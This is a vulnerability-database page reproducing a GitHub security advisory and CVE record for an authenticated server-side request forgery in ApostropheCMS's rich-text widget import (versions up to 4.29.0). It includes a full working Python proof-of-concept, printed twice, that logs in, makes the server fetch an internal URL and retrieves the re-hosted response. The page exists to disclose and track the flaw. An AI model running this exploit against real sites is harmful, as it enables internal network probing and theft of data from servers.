Vulnerability-Lookup

GHSA-PR28-MF3Q-QPG6

Vulnerability from github – Published: 2026-05-14 18:26 – Updated: 2026-06-12 22:02

Summary

Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget

Details

Summary

ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.

Details

The vulnerable flow is in the rich-text widget sanitizer: - packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js - packages/apostrophe/modules/@apostrophecms/area/index.js - packages/apostrophe/modules/@apostrophecms/widget-type/index.js

Relevant behavior: 1. The backend accepts a widget payload containing import.html. 2. It parses <img src=...> values from that HTML. 3. For each image, it resolves the URL with: - new URL(src, input.import.baseUrl || self.apos.baseUrl) 4. It then performs a server-side fetch(url). 5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic.

This is reachable during widget validation through: - POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft

PoC

Start a local HTTP server with a valid PNG:

     mkdir -p /tmp/apos-poc
     base64 -d > /tmp/apos-poc/secret.png <<'EOF'
     iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII=
     EOF
     cd /tmp/apos-poc && python3 -m http.server 7777 --bind 127.0.0.1

Run the following Python PoC:

#!/usr/bin/env python3
import argparse
import json
import sys
from urllib.parse import urljoin

import requests


def login(base_url: str, username: str, password: str) -> str:
    url = urljoin(base_url, "/api/v1/@apostrophecms/login/login")
    r = requests.post(
        url,
        json={
            "username": username,
            "password": password
        },
        timeout=20
    )
    r.raise_for_status()
    data = r.json()
    token = data.get("token")
    if not token:
      raise RuntimeError(f"Login succeeded but no token was returned: {data}")
    return token


def trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict:
    url = urljoin(
        base_url,
        "/api/v1/@apostrophecms/area/validate-widget?aposMode=draft"
    )
    payload = {
        "areaFieldId": area_field_id,
        "type": "@apostrophecms/rich-text",
        "widget": {
            "type": "@apostrophecms/rich-text",
            "content": "<p>seed</p>",
            "import": {
                "html": f'<img src="{target_url}">',
                "baseUrl": target_url.rsplit("/", 1)[0] if "/" in target_url else target_url
            }
        }
    }
    r = requests.post(
        url,
        headers={
            "Authorization": f"Bearer {token}",
            "Accept": "application/json"
        },
        json=payload,
        timeout=30
    )
    r.raise_for_status()
    return r.json()


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Authenticated ApostropheCMS SSRF PoC via rich-text widget import."
    )
    parser.add_argument("--base-url", default="http://127.0.0.1:3000")
    parser.add_argument("--username", default="admin")
    parser.add_argument("--password", default="admin123")
    parser.add_argument("--area-field-id", default="cd4f89f5b834d0036f3867f1507a8add")
    parser.add_argument("--target-url", default="http://127.0.0.1:7777/secret.png")
    parser.add_argument(
        "--fetch-image",
        action="store_true",
        help="Fetch the generated Apostrophe image URL after exploitation."
    )
    args = parser.parse_args()

    try:
        token = login(args.base_url, args.username, args.password)
        result = trigger(args.base_url, token, args.area_field_id, args.target_url)
    except Exception as exc:
        print(f"[!] Exploit failed: {exc}", file=sys.stderr)
        return 1

    print("[+] Login OK")
    print(f"[+] Bearer token: {token}")
    print("[+] Exploit response:")
    print(json.dumps(result, indent=2))

    widget = result.get("widget") or {}
    image_ids = widget.get("imageIds") or []
    if not image_ids:
        print("[-] No imageIds returned. Target may have been fetched but not persisted as an image.")
        return 0

    image_id = image_ids[0]
    image_path = f"/api/v1/@apostrophecms/image/{image_id}/src"
    image_url = urljoin(args.base_url, image_path)
    print(f"[+] Generated image id: {image_id}")
    print(f"[+] Generated image URL: {image_url}")

    if args.fetch_image:
        r = requests.get(image_url, allow_redirects=True, timeout=30)
        print(f"[+] Final fetch status: {r.status_code}")
        print(f"[+] Final URL: {r.url}")
        print(f"[+] Retrieved bytes: {len(r.content)}")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Example usage:

     python3 poc.py \
       --base-url http://127.0.0.1:3000 \
       --username admin \
       --password admin123 \
       --area-field-id cd4f89f5b834d0036f3867f1507a8add \
       --target-url http://127.0.0.1:7777/secret.png \
       --fetch-image

Expected result:
- The local listener receives: GET /secret.png HTTP/1.1
- The API response includes a rewritten Apostrophe image URL and imageIds.
- The generated image URL can then be fetched through the application.

Additional note:

If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration.

Impact

An authenticated user with permission to submit or edit rich-text widget content can: - trigger server-side requests to internal services (127.0.0.1, private subnets, etc.) - perform blind or semi-blind internal port and service discovery - exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content

Severity

7.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T18:26:45Z",
    "nvd_published_at": "2026-06-12T21:16:22Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.\n\n### Details\n  The vulnerable flow is in the rich-text widget sanitizer:\n  - `packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js`\n  - `packages/apostrophe/modules/@apostrophecms/area/index.js`\n  - `packages/apostrophe/modules/@apostrophecms/widget-type/index.js`\n\nRelevant behavior:\n  1. The backend accepts a widget payload containing `import.html`.\n  2. It parses `\u003cimg src=...\u003e` values from that HTML.\n  3. For each image, it resolves the URL with:\n     - `new URL(src, input.import.baseUrl || self.apos.baseUrl)`\n  4. It then performs a server-side `fetch(url)`.\n  5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic.\n\n  This is reachable during widget validation through:\n  - `POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft`\n\n\n### PoC\n 1. Start a local HTTP server with a valid PNG:\n```bash\n     mkdir -p /tmp/apos-poc\n     base64 -d \u003e /tmp/apos-poc/secret.png \u003c\u003c\u0027EOF\u0027\n     iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII=\n     EOF\n     cd /tmp/apos-poc \u0026\u0026 python3 -m http.server 7777 --bind 127.0.0.1\n```\n2. Run the following Python PoC:\n```python\n#!/usr/bin/env python3\nimport argparse\nimport json\nimport sys\nfrom urllib.parse import urljoin\n\nimport requests\n\n\ndef login(base_url: str, username: str, password: str) -\u003e str:\n    url = urljoin(base_url, \"/api/v1/@apostrophecms/login/login\")\n    r = requests.post(\n        url,\n        json={\n            \"username\": username,\n            \"password\": password\n        },\n        timeout=20\n    )\n    r.raise_for_status()\n    data = r.json()\n    token = data.get(\"token\")\n    if not token:\n      raise RuntimeError(f\"Login succeeded but no token was returned: {data}\")\n    return token\n\n\ndef trigger(base_url: str, token: str, area_field_id: str, target_url: str) -\u003e dict:\n    url = urljoin(\n        base_url,\n        \"/api/v1/@apostrophecms/area/validate-widget?aposMode=draft\"\n    )\n    payload = {\n        \"areaFieldId\": area_field_id,\n        \"type\": \"@apostrophecms/rich-text\",\n        \"widget\": {\n            \"type\": \"@apostrophecms/rich-text\",\n            \"content\": \"\u003cp\u003eseed\u003c/p\u003e\",\n            \"import\": {\n                \"html\": f\u0027\u003cimg src=\"{target_url}\"\u003e\u0027,\n                \"baseUrl\": target_url.rsplit(\"/\", 1)[0] if \"/\" in target_url else target_url\n            }\n        }\n    }\n    r = requests.post(\n        url,\n        headers={\n            \"Authorization\": f\"Bearer {token}\",\n            \"Accept\": \"application/json\"\n        },\n        json=payload,\n        timeout=30\n    )\n    r.raise_for_status()\n    return r.json()\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser(\n        description=\"Authenticated ApostropheCMS SSRF PoC via rich-text widget import.\"\n    )\n    parser.add_argument(\"--base-url\", default=\"http://127.0.0.1:3000\")\n    parser.add_argument(\"--username\", default=\"admin\")\n    parser.add_argument(\"--password\", default=\"admin123\")\n    parser.add_argument(\"--area-field-id\", default=\"cd4f89f5b834d0036f3867f1507a8add\")\n    parser.add_argument(\"--target-url\", default=\"http://127.0.0.1:7777/secret.png\")\n    parser.add_argument(\n        \"--fetch-image\",\n        action=\"store_true\",\n        help=\"Fetch the generated Apostrophe image URL after exploitation.\"\n    )\n    args = parser.parse_args()\n\n    try:\n        token = login(args.base_url, args.username, args.password)\n        result = trigger(args.base_url, token, args.area_field_id, args.target_url)\n    except Exception as exc:\n        print(f\"[!] Exploit failed: {exc}\", file=sys.stderr)\n        return 1\n\n    print(\"[+] Login OK\")\n    print(f\"[+] Bearer token: {token}\")\n    print(\"[+] Exploit response:\")\n    print(json.dumps(result, indent=2))\n\n    widget = result.get(\"widget\") or {}\n    image_ids = widget.get(\"imageIds\") or []\n    if not image_ids:\n        print(\"[-] No imageIds returned. Target may have been fetched but not persisted as an image.\")\n        return 0\n\n    image_id = image_ids[0]\n    image_path = f\"/api/v1/@apostrophecms/image/{image_id}/src\"\n    image_url = urljoin(args.base_url, image_path)\n    print(f\"[+] Generated image id: {image_id}\")\n    print(f\"[+] Generated image URL: {image_url}\")\n\n    if args.fetch_image:\n        r = requests.get(image_url, allow_redirects=True, timeout=30)\n        print(f\"[+] Final fetch status: {r.status_code}\")\n        print(f\"[+] Final URL: {r.url}\")\n        print(f\"[+] Retrieved bytes: {len(r.content)}\")\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n3. Example usage:\n```bash\n     python3 poc.py \\\n       --base-url http://127.0.0.1:3000 \\\n       --username admin \\\n       --password admin123 \\\n       --area-field-id cd4f89f5b834d0036f3867f1507a8add \\\n       --target-url http://127.0.0.1:7777/secret.png \\\n       --fetch-image\n```\n  4. Expected result:\n      - The local listener receives:\n        GET /secret.png HTTP/1.1\n      - The API response includes a rewritten Apostrophe image URL and imageIds.\n      - The generated image URL can then be fetched through the application.\n\nAdditional note:\n\n  - If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration.\n\n### Impact\nAn authenticated user with permission to submit or edit rich-text widget content can:\n  - trigger server-side requests to internal services (127.0.0.1, private subnets, etc.)\n  - perform blind or semi-blind internal port and service discovery\n  - exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content",
  "id": "GHSA-pr28-mf3q-qpg6",
  "modified": "2026-06-12T22:02:09Z",
  "published": "2026-05-14T18:26:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-pr28-mf3q-qpg6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45012"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget"
}

CVE-2026-45012 (GCVE-0-2026-45012)

Vulnerability from cvelistv5 – Published: 2026-06-12 20:44 – Updated: 2026-06-15 19:27

Title

Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget

Summary

ApostropheCMS is an open-source Node.js content management system. Versions up to and including 4.29.0 contain an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration. As of time of publication, no known patched versions are available.

Severity

7.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-15 18:47 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/apostrophecms/apostrophe/secur…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
apostrophecms	apostrophe	Affected: <= 4.29.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-45012",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-15T18:47:58.858311Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-15T19:27:52.986Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-pr28-mf3q-qpg6"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "apostrophe",
          "vendor": "apostrophecms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 4.29.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "ApostropheCMS is an open-source Node.js content management system. Versions up to and including 4.29.0 contain an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration. As of time of publication, no known patched versions are available."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 7.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-12T20:44:48.842Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-pr28-mf3q-qpg6",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-pr28-mf3q-qpg6"
        }
      ],
      "source": {
        "advisory": "GHSA-pr28-mf3q-qpg6",
        "discovery": "UNKNOWN"
      },
      "title": "Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-45012",
    "datePublished": "2026-06-12T20:44:48.842Z",
    "dateReserved": "2026-05-08T16:58:28.895Z",
    "dateUpdated": "2026-06-15T19:27:52.986Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-PR28-MF3Q-QPG6

Summary

Details

PoC

Impact

CVE-2026-45012 (GCVE-0-2026-45012)

Tags

Sightings

Nomenclature

Related by attack behaviour